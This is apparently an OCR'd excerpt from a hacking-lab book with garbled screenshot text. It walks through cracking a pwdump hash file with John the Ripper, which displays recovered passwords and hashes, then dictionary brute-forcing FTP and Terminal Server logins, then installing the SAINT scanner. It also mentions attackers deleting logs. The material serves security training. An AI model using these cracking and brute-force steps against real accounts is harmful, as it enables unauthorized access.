The files will uncompress into a new directory named john-1.6.

Change to the new directory by typing cd john-1.6 and pressing the Enter
key.

Next change to the src directory by typing cd src and pressing the Enter
key.

John the Ripper for Linux requires you to compile the application for the
machine type it is going to be running on. Many times, as in this example,
you can use the generic build by typing:

make generic

Bl Red Hat Linux - ¥Mware Workstation
‘lea Edt View WM Team ‘Windows Help

=10/

i {53 Red Hat Linux
Eile Edit View Terminal Go Help
[root@localhost johntheripper]# cd john-1.6
[root@localhost john-1.6]1#% cd sre
[root@localhost srcl# make gsnsri:l

QA& HFHH o

Eem
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The application will now build for the machine it is on.

Bl Red Hat Linux - ¥Mware Workstation _(o] x|

‘lee Edt View WM Team ‘Windows Help

{73 Redl Hat Linux
3 7 = T

Eile Edit View Termina Go Help

gce -c -Wall -02 -fomit-frame-pointer -funroll-loops loader.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops logger.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops math.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops options.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops recovery.c
gee -c -Wall -02 -fomit-frame-pointer -funroll-loops rpp.c

gce -c -Wall -02 -fomit-frame-pointer -funroll-loops rules.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops single.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops status.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops wordlist.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops unshadow.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops unafs.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops unigue.c
gce -5 DES_bs.o DES_bs_b.o DES_fmt.o DES_std.o BSDI_fmt.o MD5_fmt.o MD5_std.o BF
_fmt.o BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o charset.o common.o compiler.o
config.o cracker.o external.o formats.o getopt.o idle.o inc.o john.o list.o loa
der.o logger.o math.o memory.o misc.o options.o params.o path.c recovery.o Ipp.o
rules.o signals.o single.o status.o tty.o wordlist.o unshadow.o unafs.o unigue.
o -0 ../run/john

1In -s john ../run/unshadow

In -s john ../run/unafs

In -s john ../run/unique

make[1]: Leaving directory °/root/tools/johntheripper/john-1.6/src"
[root@localhost srcl# ||

o Thu Nov 17
11:35 AM

=L

To execute John, change to the correct directory by typing:

cd ../run

Bl Red Hat Linux - ¥Mware Yorkstation =]

‘F\le Edt View ¥M Team ‘Windows Help

Y

v 5 Z - e

File Edit View Terminad Go Help

gcc —c -Wall -02 -fomit-frame-pointer -funroll-loops loader.c
gcc —c -Wall -02 -fomit-frame-pointer -funroll-loops logger.c
gcc —c -Wall -02 -fomit-frame-pointer -funroll-loops math.c

gcc —c -Wall -02 -fomit-frame-pointer -funroll-loops options.c
gcc —c -Wall -02 -fomit-frame-pointer -funroll-loops recovery.c
gee - -Wall -02 -fomit-frame-pointer -funroll-loops Tpp.c

gee -c -Wall -02 -fomit-frame-pointer -funroll-loops rules.c
gee -c -Wall -02 -fomit-frame-pointer -funroll-loops single.c
gee -c -Wall -02 -fomit-frame-pointer -funroll-loops status.c
gee -c -Wall -02 -fomit-frame-pointer -funroll-loops wordlist.c
gee - -Wall -02 -fomit-frame-pointer -funroll-loops unshadow.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops unafs.c
gce -c -Wall -02 -fomit-frame-pointer -funroll-loops unigue.c
gce -s DES_bs.o DES_bs b.o DES_fmt.o DES_std.o BSDI_fmt.o MD5_fmt.o MD5_std.o BF
_fmt.o BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o charset.c commen.o compiler.o
config.o cracker.o external.o formats.o getopt.o idle.o inc.o john.o list.o loa
der.o logger.o math.o memory.o misc.o options.o params.o path.c recovery.o rpp.o
rules.o signals.o single.o status.o tty.o wordlist.o unshadow.o unafs.o unigue.
o -0 ../run/john

1n -s john ../run/unshadow

1n -s john ../run/unafs

1n -s john ../run/unique

make[1]: Leaving directory '/root/tools/johntheripper/john-1.6/src’
root@localhost src]# cd ../r\.ml

e Lele TR

=y

QOSX

o Thu Nov 17
11:35 AM

Eom -
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After placing a hashed file into this directory, type:
john -i pwdump

Bl Red Hat Linux - YMware Workstation N

File Edit View VM Team windows Help

File Edt View Teminal Go
[root@localhost runl# ./john -i pwdumpl

a4 Badd @ T

gom -

The passwords will be broken and displayed on the screen.

Bl Red Hat Linux - YMware Workstation

File Edit View WM Team ‘Windows Help

File  Edi Go
[root@localhost runl# ./john -i pwdump
Loaded 14 passwords with no different salts (NT LM DES [24/32 4K])

View  Terminal

DEF (user2)
ABC (user1)
GHI (user3)
123 (Administrator)

o Thu Nov 17
11:37 AM

Som -

a8l
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To interrupt the “cracking” process hold down the Ctrl key and press the
C key.

Bl Red Hat Linuz - ¥Mware Workstation =10 x|
‘ Fie Edt View WM Team ‘Windows Help
i)

File Edit View Terminal Go Help
[root@localhost runl# ./john -i pwdump
Loaded 14 passwords with no different salts (NT LM DES [24/32 4K])

DEF (user2)
ABC (user1)
GHI (user3)
123 (Administrator)

guesses: 4 time: 0:00:00:19 c¢/s: 1396786 trying: SPHRESL - STJSGES
guesses: 4 time: 0:00:01:45 c¢/s: 4596517 trying: PLTSOFT - CAZWFEY
guesses: 4 time: 0:00:01:48 c/s: 4627425 trying: TSCLBBL - ER@RDRT
Session aborted

[root@localhost runl# ./john -show pwdumpl

0 Thu Nov 17
11:39 AM

Eom -

AT

John keeps track of the passwords it finds for each hashed file. To verify
what passwords were found, type:

john -show pwdump

8l Red Hat Linux - ¥Mware Workstation =10 x|

‘F\Ie Edt  View WM Team ‘Windows Help
njre ek 1) =]

5 Blo 7 2 7o

Elle Edit View Terminal Go Help

[root@localhost runl# ./john -i pwdump
Loaded 14 passwords with no different salts (NT LM DES [24/82 4K])

DEF (userz)
ABC (user1)
GHI (user3)
123 (Administrator)

guesses: 4 time: 0:00:00:19 c/s: 1396786 trying: SPHRES1 - STJSGES
guesses: 4 time: 0:00:01:45 c/s: 4596517 trying: PLTSOFT - CA2WFEY
guesses: 4 time: 0:00:01:48 c/s: 4627425 trying: TSCLBB1 - BR@RDRT
Session aborted

[root@localhost runl# ./john -show pwdump
Administrator:123:500:3DBDE697D71690A769204BEB12283678::

Guest:NO PASSWORD:501:NO PASSWORD*##*##*&&ssssadadadadsas 1y

user1:ABC:1008: EOFBA3B26BDOECEEEF1CB452D588B5E53: 1
user2:DEF:1009:68171E55D24504226EA78B58733C24C
user3:CHI :1010:D9DI0CF334683628B3BEB0BB3BAD1790: 1 ¢

5 passwords cracked, 10 left
[root@localhost run]# |

o Thu Nov 17
11:39 AM

Sem
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The passwords will be displayed unencrypted in the hash file with infor-
mation separated by a colon (). The biggest ones of concern are the first three:

B Username
B Password
B User ID

*Note: User ID is important because a user account can be renamed. In this example
this is a hashed file from a Windows target. Referring to Chapter 3, each user
is assigned a static user ID. The Administrator account on a Windows machine
will always be 500.

John the Ripper allows for the cracking of Linux/Unix password files as
well. The only limitation is if the password is “shadowed” with an asterisk (*).
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Lab 58: Brute-Force FTP Password

Brute-Force an FTP Password Connection: BruteFTP

Prerequisites: None

Countermeasures: Secured FIP, known as Secured Shell Client (SSL) or
Secure FTP Client (SFTP)

Description: File Transfer Protocol (FTP) is used to transfer files between
computers and is still widely in use. The biggest flaw with FTP is that
it is unencrypted in nature (plain text) and if intercepted can be read
easily, including the usernames, passwords, and data.

Procedure : Install the application, select the target, and execute.

Double-click on the BruteFTP icon to start the application.

....................... o

BruteFTP

....................... 4

You may receive an MSWINSCK.OCX file error. Click OK.

B} Windows 2000 Professional - ¥Mware Workstation

File Edit View WM Team ‘Windows Hel
mr &

5 i J] (5 Windows: 2000 Professional

BruteFTP 1.0 x|

Component MSWINSCK.OC! or ane of its dependencies not correctly registered: a file
Is missing o invralid

LibnetHT di

dhstart||| (] @ 3 || Scipownieads

| S3Ewwndowsibritefeoin |[aruterte 1o

G oiEl 1zimeem |
Eomw .
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I have included the needed files on the accompanying CD, or you can
download them from the Internet. Double-click on the libraryfiles.exe icon
to start the installation of the needed files.

£
=3
librarwFiles

The Welcome screen will be displayed. Click Next.

8 Windows 2000 Professional - ¥Mware Workstation =10j x|

File Edit View W¥M Team ‘Windows Help

B

= Ascentive Library Installer Install Progea P ] 4

Wieleome to the Ascentive Librar Installer Install program.

Itis strongly recommended that befare procesding, you ensure that
e ckher Windars programs are mnning.

If you do not wish to install Ascentive Library Installer, click Exit!
now, othemise click Next' to continue.

< Back | HNewt > I Exit

LibnetNT.di

jﬁstartm &2 H NCiiDovrloads

| ‘e Windowsibrutefip1o || S ascentive Library Inst...

G ERE 1zi40Pm |
EoBb
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Accept the default Installation Directory. Click Next.

dows 2000 Professional - ¥Mware Workst;

Fle Edit View WM Team ‘Windows Help

nL @

(]

— Ascentive Library Installer Install Progea P ]

Ascentive Library Installes fles will be installed in the following
diiestory:

||: Wfindows\System

Disk space needed 7 b
Awailable disk space 2913 Wb

Click Next' to continue.

cgack [ mets | Emt

start||| [ @& 3 || ycipawnioads | SuEimindonsibrssitpio |[38 ascentive Library Tnst. [ oIE 12a0pn |

Eoml

The Directory Installation file will probably not be there already. Click Yes
to have the application create the directory.

dows 2000 Profession: Mware Workst:
Fle Edt  View WM Team ‘Windows Help
mnre|BaREalm
=

(7 Windows 2000 Professional o Hat Linux | |y Red HatLi

— Ascentive Library Installer Install Po: =l

Ascentive Library Installes fles will be installed in the following
diiestory:

||: indows\S pstem
Ascentive Library Installer Install Program x|

@ The destination directory doesn't exist, Do you wart it to be created?

e

Click Mext' to continue.

cgaok [ mets | Eamt

Hstart|| | @ 3 || 3cipownioads | SvEiindowsibrscipio |[1 ascentive Library Tnst.. [ 8@ r20pm_ |

Eomly
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The files are now ready for installation. Click Start.

dows 2000 Professional - ¥Mware Workstation

e Edk  View WM Team ‘Windows Help
LR R e T == =]

(3 Windows 2000 Professional

o Ascentive Library Installer Install Progs P [ 55

This program wil install Ascentive Library Installer into
C\Windows\Spste.

Click 'Start' to install Ascentive Library [rstaller

LibnetnT dil

@startm &5 H 3¢ \Downloads

| CiEswiwindonsibrutsftoto |[ 12 ascentive Library st < 12140 PM |

EoBEb »

During the installation process, you may receive several warnings about
files being older than the ones currently on the computer. Select No to override
any of the files until the installation completes.

E =10l
File Edt Wiew %M Team Windows Help
NG EET == =]

& 5 Windows 2000 Professional I I b | 4 »x

= Ascentive Library Installer Install PFot

File : CNWINNT W Spstem32WASCOMCTL OCs.

-
Ascentive Library Installer Install Pragram x|

® CHWINNTISystem3ZiMSCOMCTL, OCK

This file exists and is & more recent wersion than the File to install.

Do you want bo overwrite the installed version anyway?

< Back I et > I Cancel

Litw dil

mstartm &= H R

| {JEX\Windowsipruteftpl0 || ascentive Library Inst...

$lE zarem ‘
cEmW .
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Once the application has completed you will be told to restart Windows.
Click Next.

lows 2000 Professional - ¥Mware Workstation =10 x|

Fle Edit View M Team Windows  Help

[Fe et wew wn teon woowe wp
EnjletablEaalm

scentive Library Installer Install Proi P [ 55

Ascentive Libiary Installer has been successfully installed

“ou need to restart Windaws so that all installed options can take
effect. Click Restart if you want to restart Windows immediately,

Restart

Libn

dhstart]|| (] @ 3 || ycoponniosds | Cuesiwindowsion. [ 2 ascentive Libra...

Click Exit.

Fle Edt view WM Team ‘Windows Help

ickteam Install Maker
il Cicktean st Maker
% Copyight ® 1333.2002 ClickT eam

This Install program has been created with Clickteam Install Maker.
a simple and powerful Install maker

“You can find Clickteam Install Maker and other Clickteam products
an the Clickteam Yweb site:

it clicktam. com

Thank pou far tiying Clickteam products.

< Back Mewt>  [C7TERCTTH

Hstart| | 1] € =2 H {_CH\Downloa =2 |[ = Clickteam tnsta...

|l =

GeBv -
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Open the BruteFTP application.

indows 2000 Professional - ¥Mware Workstal

Fle Edt  View WM Team ‘Windows Help
RN

(7 Windows 2000 Professional

&' BruteFTP by —=wED Jpiikil

start||| [ @& 3 || ycipawnioads EE ueftpto [ TR

G EE 1zezem |
Eomh 4

Change the Server address from 127.0.0.1 to the target address. In this
example it is 172.16.1.40.

indows 2000 Professional - VMware Workstation

Fle Edit View WM Team ‘Windows Help

Enlre|naikE

&' BruteFTP by —=wED JpiliE="

o[

3§Slartm o @ = H yCPowrloads Lteftplo BY CaER

G EE 1257eM |
Eome 4
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Change the username to a known or suspected username on the FTP target.
(From previous labs it was determined that a valid username on this target is
the Administrator account, which was renamed to Kermit.)

Bl Windows 2000 Professional - YMware Workstation

File Edit View V¥M Team Windows Hel

EEEREEE

of

LibnetnT.dil

jﬁstart”] 1 @& 5 “ yC:\Dawnloads

| | by -=wEB Jp... dHE o |
Eomi ,

Click the ... button by the dictionary.txt file and browse to a text
document containing a list of passwords, one password per line.

B Windows 2000 Professional - ¥Mware Workstation

Fle Edt View ¥M Team ‘Windows  Hel

N EREEE

(73 Windows 2000 Professional

LibnethT di

iaslartm & 5 H 3¢ \Downloads

ueftpto [ 1P by -=wEf Ju...

< ol Li0aPM |
Ecml
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BruteFTP is now ready to start. Click the Start button. The BruteFTP
application will connect to the server and attempt each password in the
password file with the username you assigned. In this example the password
of 123 was found for the username Kermit.

B} Windows 2000 Professional - ¥Mware Workstation

Fle Edit View WM Team ‘Windows Help

Usemame o
= Password: 123

@smtm o @ =3 H £ Downloads

weftpin [ TP by -=wEf Jy...

FrELE Lo |
Eomw -

*Note: I wanted to demonstrate that knowing the username is half the battle when
dealing with user accounts. Many users feel their username is “no big deal,”
but as you can see from this lab it very well can become a “big deal” to an
attacker.
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Lab 59: Brute-Force Terminal Server

Brute-Force Terminal Server Passwords: TSGrinder 11

Prerequisites: Server running Terminal Server

Countermeasures: Strong router ACLs, session monitoring

Description: TSGrinder is an application designed to brute-force a user-
name’s password against a Terminal Server. Terminal Server uses an
encrypted channel, which also helps evade Intrusion Detection Systems
(IDS). Although a dictionary-based tool, it supports multiple attack
windows from the same dictionary file.

Procedure: Start the application with selected options under the following
syntax:

tsgrinder -u (username) -w (dictionary filename) target
In this example from the directory containing the application, type:
tsgrinder -u kermit -p dict 172.16.1.40

B The —u kermit tells TSGrinder to use the username Kermit (as identified
from previous labs on this target).

B The —w dict tells TSGrinder to use the dictionary file named dict.

B 172.16.1.40 is of course the target IP address.

Bl Windows 2000 Professional - ¥Mware Workstation

|F\\e Edit  View ¥M Team ‘Windows Help

\WINNT!System32\cmd.exe

E:\EsWindous\ISGrinder2>tsgrinder —u kermit —w dict 172.16.1.40

Hstart || 1] @& 53 || e of God tiies - .. | SEAIwIndovsiTSnder2 | [BCAWINNT System3z\... JEE 10aaem

Bomi
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A remote connection screen will appear in sets of five attempts. The
username of Kermit will automatically be placed into the User name field and
each password, one at a time from the dictionary file, will automatically be
placed into the Password field.

Bl Windows 2000 Professional - ¥Mware Workstation )

File Edit ¥ew %M Tesm Windows Help

MEEN =

Log On to Windows

Microsoft

Copyright @ 1385-1333
Mlicrosoft Corporation

“Windows 2000
Server

Built on NT Technology

User name: [ kermic

password: ||

ok | Cancel Shutcogn, Options <<

Astart || 1] & =53 || Eromre of 6...| yEwingow.. | B wTS... |[Tsmehent .. $EE  1nasem

Bomi

As each set of five attempts is made, an update to the screen will be displayed.

8l Windows 2000 Professional - ¥Mware Workstation [ =[]
Fle Edt View WM Team ‘Windows Help

pear — failed
monkey — failed
racoan — failed
giraffe — failed
dog - failed
word cat - failed
s — failed
word phone — failed

Libn Il

HAstart || (1] @ 53 || Erammer of od utikes -

.| e mwndonstTsrinderz |[B CAwINNTSystemaz,..

g 10:34 PM
Eemb .
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If the correct password for the username is in the dictionary file, a terminal
session will be established momentarily to the target. Either click the OK
button or simply wait a few seconds and the screen will close automatically.

1 Wi SOOU Professional - Yiware Workststion = g (= 1|

Fie Edt View VM Team  Widews Holp

e T—

window seesion

This vl
@ Do
-\:) e 10 fun while you e decornecied ‘Yo can

Imcormmet i iz smesaon e by loggeg on agan.

."_D'E'_] Carcel

If the correct password was located, the password will be given. In this
example, the password is 123. Now the attacker can log in “at will” to the
server via a Terminal Server session as that user.

W Windowes 00U Professional - Yinare Workststion = (=1

Fe Edt View WM Team Windows Help
anrepaploa oo

M o ;Hm‘auounll[ "

| Bt | 2 6 23 || s of it | |[mcwremsz.. [EES osm
Ecmk [

*Note: TSGrinder is one of my favorite tools because of its uniqueness and by default
the Administrator account cannot be locked out with this method. Keep in mind
that each attempt will be logged into the event log; once access is granted, the
attacker will simply delete the logs and more than likely turn logging off altogether.
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Lab 60: Vulnerability Scanner
Perform Vulnerability Assessment: SAINT

Prerequisites: None

Countermeasures: Secure access control lists (ACLs), Bastion servers/
workstations

Description: SAINT (Security Administrator’s Integrated Network Tool) is
a security assessment tool based on SATAN. Features include the ability
to scan through a firewall, updated security checks from Certification
(CERT) and Computer Incident Advisory Centre (CIAC) bulletins, four
levels of severity (red, yellow, brown, and green), and a feature-rich HTML
interface. Remember that all commands in Linux are case sensitive.

Procedure: Install, execute against target, and review the results.

From the directory containing the compressed files, type gunzip saint-
install-5.9.5.gz.

The saint-install-5.9.5.gz file will uncompress and only the saint-install-
5.9.5 file will remain.

*Note: When SAINT is downloaded you are required to enter a valid e-mail address.
A temporary License Key will be sent to that address allowing the two
specific target IP addresses you requested to be scanned by SAINT. At this
point I copy that License Key into the same directory that the saint-install-5.9.5
resides in.



360 ® Practical Hacking Techniques and Countermeasures

Type in chmod a + x saint-install-5.9.5 and press Enter.

B The chmod command tells Linux to change permissions of the file.
B The a + x options tells chmod to allow all users to execute the file.

Bl Red Hat Linux - YMware Workstation

| Fle Edt vew M Team Windows Help

=10l x|

[ root@localhost:~/lools/SAINT.

File Edit View Terminal Go

Help
[root@localhost SAINT]# chmod at+x saint-install-5.9.5

SRE M OEE

A Your version of Uhware Tools is out of date

Thu Dec 08
5:12 PM

Eom -~

The next step is to install the SAINT application by typing ./saint-install-
5.9.5 and pressing Enter.

Bl Red Hat Linux - YMware Workstation

| Fle Edt vew M Team tindows Help
NI EETE T

Lin {5 Red Hat Linux
[v] @ localhost:~/tools/SAl
File Edit View Terminal Go Help

[root@localhost SAINT]# chmod a+x saint-install-5.9.5
[root@localhost SAINT]# ./saint-install-5.9.5

" T [TA| ] ', D Thu Dec 08
& | = 7 5:16 PM
A Your version of YMware Tools is out of date,

(=
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The installation begins. Press the Enter key to read the

Bl Red Hat Linu: Muware Workst:

License Agreement.

=10l x|

| Fle Edt vew M Team Windows Help

s wrp el n| OB E

[ root@localhost:~/lools/SAl

Eile Edit View Terminal Go Help
[root@localhost SAINT]# chmod at+x saint-install-5.9.5
[root@localhost SAINT]# ./saint-install-5.9.5

SAINT version 5.9.5
Copyright 2002-2005 SAINT Corporation
libpng Copyright 2000-2002 GClenn Randers-Pehrson

This program will install SAINT on your system.
Please hit the "Enter" key at the prompt to view the

license agreement.

Continue? (yes)> I

Thu Dec 08
5:16 PM

A Your version of Uhware Tools is out of date

Eom -~

You can read the License Agreement one line at a time by pressing the

Enter key or a page at a time by pressing the Spacebar.

Red Hat Linu:

Mware Workst:

| Fle Edt vew M Team tindows Help

hd rootZlocalhost:~/tools)

File Edit View Terminal Go Help

[+]

Continue? (yes)>
LICENSE AND SERVICE AGREEMENT (INDUSTRY)

1. Definitions. As used herein, the following definitions shall apply: "License
d Product” shall mean collectively the Licensed Software and Licensed Documentat
ion

(as hereinafter defined). "Licensed Software" or "Software" shall mean the soft
ware in object code form, for which Licensee has paid a license fee, all updates
and revisions thereto supplied by Licensor during the term hereof, and all perm
itted copies of the foregoing. .Licensed Documentation. shall mean any documents
delivered by Licensor to Licensee that relate to the Licensed Software. "Use" s
hall mean the reading into and out of memory of the Licensed Software and the ex
ecution of such Software.

2. License. Subject to the payment of the license fees and charges to Licensor,
Licensor hereby grants to Licensee, and Licensee hereby accepts, a personal, no
n-exclusive, and non-transferable license (without the rights to sublicense) to —
use the Licensed Product in accordance with the terms and conditions of this Lic|
ense and Service Agreement. The Licensed Product shall only be used for the num
ber of nodes, networks, or hosts for which Licensee has paid a license fee. -

3. License fees and charges, taxes, and payments for services. The license fees|
and charges for the license herein granted to Licensee shall be the then curren

Thu Dec 08
5:16 PM

A\ aur version of VMware Tools is out of date,

Eom
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Once you have reached the end of the License Agreement, type yes and
press the Enter key.

Bl Red Hat Linux - YMware Workstation oy [=] 3]

| Fle Edt View WM Team ‘windows Help

Edit  View Terminal Go Help
ion of the Licensed Software that has features or capabilities beyond those of
he Licensed Software (.Version.).

4. Subject to payment of the applicable maintenance and updates fees, the licens
e granted to Licensee under Section 1 of the License and Service Agreement exten
ds to, and the term "Licensed Software" shall include, all Maintenance Releases
received from Licensor. Licensor will use all commercially reasonable efforts to
resolve all support issues to the satisfaction of Licensee, but it retains the
right to determine whether to revise, enhance or otherwise modify the Licensed S
oftware and which reguested changes to make to the Licensed Software. Informatio
n provided by Licensee in connection with Licensor.s performance of maintenance
and updates services may be used by Licensor to support or enhance the Licensed
Software. Licensor shall have no cbligation to support altered, damaged, or modi
fied software, software that is not the most current Version or the immediately
previous Version or a Version provided by Licensor to Customer within the past y
ear, software problems caused by Licensee's negligence, abuse, or misapplication
by use of software other than as specified in the Documentation, or by other ca
uses beyond the reascnable control of Licenscor; or software installed on any com
puter hardware or operating system not identified as supported by Licensor. Lice
nsor reserves the right to implement bug fixes solely in the current Version of
the Licensed Software.

Type "yes" if you accept this license> I

A& B @ "

&\ Your version of ¥Mware Tools is out of date. oY==
Press Enter to install the SAINT man page.

Bl Red Hat Linux - YMware Workstation I = 1

| Fle Edt view WM Team ‘windows Help

Imnly & @ &R

root@localhost:~/lools/SAl

File Edit Wiew Terminal Go Help

v

.sainth.B.5/script3/safmt []
saint-5.9.5/scripts/saint.cgi

saint-5.9.5/scripts/saint.mac

saint-5.9.5/scripts/timescan

Completed untarring SAINT tar file.

Running perl reconfig...

Reconfiguring...

Checking to make sure all the targets are here...

Trying te find Perl... /usr/bin/perls.8.0

Changing the source in PERL scripts...

Trying to find HTML/WWW browser... /usr/bin/mozilla

Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)

Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
Ccan't find rup

Doing substitutions on the shell scripts...

Changing paths in config/paths.pl...

Changing paths in config/paths.sh... I
Looking for libssl.../usr/1ib/1libssl.so

Looking for liberypto.../usr/1ib/libcrypto.so

\Upgrading configuration files...

=]

Do you want to install the SAINT man page (yes)? I
A

a2l Bg™

A\ Your wersion of YMuare Toels is aut of date. 2=

50 Thu Dec 08
5:18 PM
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Accept the default location for the man pages. Press the Enter key.

Red Hat Linux - YMware Workstation

| Fie Edt view Team Windows Help

=10 =]

i
jm mls @

|8 G B

B4 root@localhost/iool s/SAINT.
Eile Edit View Terminal Go
saint-5.9.5/scripts/saint.mac
saint-5.9.5/scripts/timescan
Completed untarring SAINT tar file.

Running perl reconfig...

Reconfiguring...

Checking to make sure all the targets are here...

Trying to find Perl... /usr/bin/perl5.8.0

Changing the source in PERL scripts...

Trying to find HIML/WWW browser... fusr/bin/mozilla

Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)

Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
Can't find rup

Doing substitutions on the shell scripts...

Changing paths in config/paths.pl...

Changing paths in config/paths.sh
Looking for libssl.../usr/lib/libssl.so
Looking for liberypto.../usr/lib/libcrypto.so
Upgrading configuration files...

De s

Help

Do you want to install the SAINT man page (yes)?

fiwhat is the root directery of your man pages (/usr/local/man)? I

(53 Red Hat Linux

Thu Dec 08
z 5:19 PM

£\ Your version of ¥Mware Tools is oLt of date,

Ecm

Press the Enter key to install a SAINT icon on the desktop.

Red Hat Linux - YMware Workstation

| Fie Edt view Team Windows Help

=10 =]

ENEEEEEEEE

Lad
Eile Edit View Terminal Go Help
Reconfiguring...

Checking to make sure all the targets are here...
Trying to find Perl... /usr/bin/perl5.8.0

Changing the source in PERL scripts...

Trying to find HTML/WWW browser... fusr/bin/mozilla
Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)
Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
Can't find rup

Doing substitutions on the shell scripts...
Changing paths in config/paths.pl...

Changing paths in config/paths.sh...

Looking for libssl.../usr/lib/libssl.so

Looking for libecrypto Jusr/lib/libcrypto.so
Upgrading configuration files...

Do you want to install the SAINT man page (yes)?
What is the root directory of your man pages (/usr/local/man)?
Installing saint.l in fusr/local/man/manl

jWwould you like to put a SAINT icon on your desktop (yes)? I

[*]

Thu Dec 08
5:19 PM

£\ Your version of ¥Mware Tools is oLt of date,

Ecm
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The SAINT installation is now complete.

Bl Red Hat Linux - ¥YMware Workstation

p =[5}

| Fle Edt view WM Team ‘windows Help

s nre|gGR|0D0 8]

A rooi@localhost:~/lools/SA

File Edit View Terminal Go Help

Changing the source in PERL scripts...

Trying to find HTML/WWW browser... /usr/bin/mozilla
Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)
Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
Can't find rup

Doing substitutions on the shell scripts...
Changing paths in config/paths.pl...

Changing paths in config/paths.sh...

Looking for libssl.../usr/1lib/libssl.so
Looking for liberypto.../usr/lib/libcrypto.so
Upgrading configuration files...

Do you want to install the SAINT man page (yes)?

What is the root directory of your man pages (/usr/local/man)?
Installing saint.1l in fusr/local/man/manl

would you like to put a SAINT icon on your desktop (yes)?

Done.
[root@localhost SAINT]# I

@ & I ] ‘@ Thu Dec 08
| 7 5:21 PM
£\ Your version of ¥Mware Tools is out of date, ==

Now that SAINT is installed you can execute the

application by double-

clicking on the SAINT icon on the desktop or from the command line.
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As we are already in the Linux terminal change to the SAINT directory by
typing cd saint-5.9.5 and pressing Enter.

Red Hat Linux - YMware Workstation o [=] 3]

| Fle Edt Vew WM Team ‘windows Help

lmure|laGR|ODea

v

root@localhost:~/tools/SAl
File Edit View Terminal Go Help

Changing the source in PERL scripts... [2]
Trying to find HTML/WWW browser... /usr/bin/mozilla

Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)

Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
can't find rup

Doing substitutions on the shell scripts...

Changing paths in config/paths.pl...

Changing paths in config/paths.sh...

Looking for libssl.../usr/1ib/1libssl.so

Looking for liberypto.../usr/1lib/libcrypto.so

Upgrading configuration files...

Do you want to install the SAINT man page (yes)?

What is the root directory of your man pages (/usr/local/man)?
Installing saint.l in /usr/local/man/manl

Would you like to put a SAINT icon on your desktop (yes)?

Done. Z
i [root@localhost SAINT]# cd saint—S.Q.SI

A
Thu Dec 08

5:22 PM

A\ Your wersion of YMiare Tosls is aut of date., =1

Start the SAINT application from the command line by typing:

./saint

8 Red Hat Linux - VMware Workstation _alx]
| Fle Edt Vew WM Team ‘windows Help

lmure|laGR|ODea

v

root@localhost:~/tools/SAINT/sain|
File Edit View Terminal Go Help

Trying to find HTML/WWW browser... fusr/bin/mozilla []
Looking for UNIX commands...

Can't find tftp (okay on Linux, will compile it)

Can't find rusers

Found Nmap 3.00; for best results upgrade to 3.50 or higher
can't find rup

Doing substitutions on the shell scripts...

Changing paths in config/paths.pl...

Changing paths in config/paths.sh...

Looking for libssl.../usr/1ib/libssl.so

Looking for liberypto.../usr/1ib/libcrypto.so

Upgrading configuration files...

Do you want to install the SAINT man page (yes)?

what is the root directory of your man pages (/usr/local/man)?
Installing saint.l in /usr/local/man/manl

Would you like to put a SAINT icon on your desktop (yes)?
Done.

[rootdlocalhost SAINT]# cd saint-5.9.5 Z
i[Toot@localhost saint-5.9.5]# ./saintl

Thu Dec 08
5:22 PM

A\ Your wersion of YMiare Tosls is aut of date., =1
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The SAINT application will start by opening the Mozilla browser.

Red Hat Linux - ¥Mware Workstation 1 =10l x|

| Fle Edt View ¥M Team Windows Help

s nre|Ganl| 0B B8

File Edit View Go Bookmarks Tools Window Help

Bﬁ»k = FD%M - R;%d S%E-p |J¢meff\ocalhasumm/mu\s,'smNT;;awnt—i.gjfhtmvsamr,|v||A5mn:h| PL:&( &

ZhHome | w§Bookmarks ¢ Red Hat Network (4 Support (4 Shop (4 Products (4 Training

|3

Sessions | ScanSetUp | Data Anslysis Canfiguration Schecle Dacumertation
You have not configured SAINTexpress! Automatic SAINT updates are not enabled. To N
configure SAINTexpress, go to the Home tab and select "Configure SAINTexpress Plug-in".
Version »
Welcome to SAINT 5.9.5.
Rministrative View SAINT Scan Staws File  ¥|

Functions »

Tahb Navigation » i
Sessions - Create a session or open an existing session.

Scan Set-up - Select targets and set-up a scan to run now or later.

Data Analysis - View results and generate reports.

oo
AL Thu Dec 08
|G 5:23 PM
A\ Vour version of Vhware Tools s ouk of date. Eom

Under Administration Functions on the main page select Configure
SAINT Key. Click the Submit button.

Bl Red Hat Linux - ¥Mware Workstation 1 =13l x|

| Fle Edt View WM Team Windows Help

8@ E|og

File Edit lew Go Bookmarks Tools Window Help

. . & =& .
R | & fite:frocathostrootytonls/SAINT/saint5.9.5phtmirsaint. ||| 2. Search | st

hHome | wfBookmarks 4 Red Hat Network £ Support (fShop [fProducts [ Training

Sessions | ScanSetlp | Dala Analysis Configuration Scheduls Documentation
You have not configured SAINTexpress! Automatic SAINT updates are not enabled. To 7
configure SAINTexpress, go to the Home tab and select "Configure SAINTexpress Plug-in”.
Version »

Welcome to SAINT 5.9.5.

Hdministraltive !C nfigure SAINT Key
R B

Tab Navigation » y
Sessions - Create a session or open an existing session.

Scan Set-up - Select targets and set-up a scan to run now or later.

Data Analysis - View results and generate repors.

L 2 E3 | Done ' "“I"H:--"‘ T r"_'"" = |:m>|ﬁf|
A& Hg@) @

A\ Vaur version of Vwate Tools s out of date, ==
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The SAINT Key screen appears.

Bl Red Hat Linux - YMware Workstation j | =)

File Edit View WM Team Windows Help

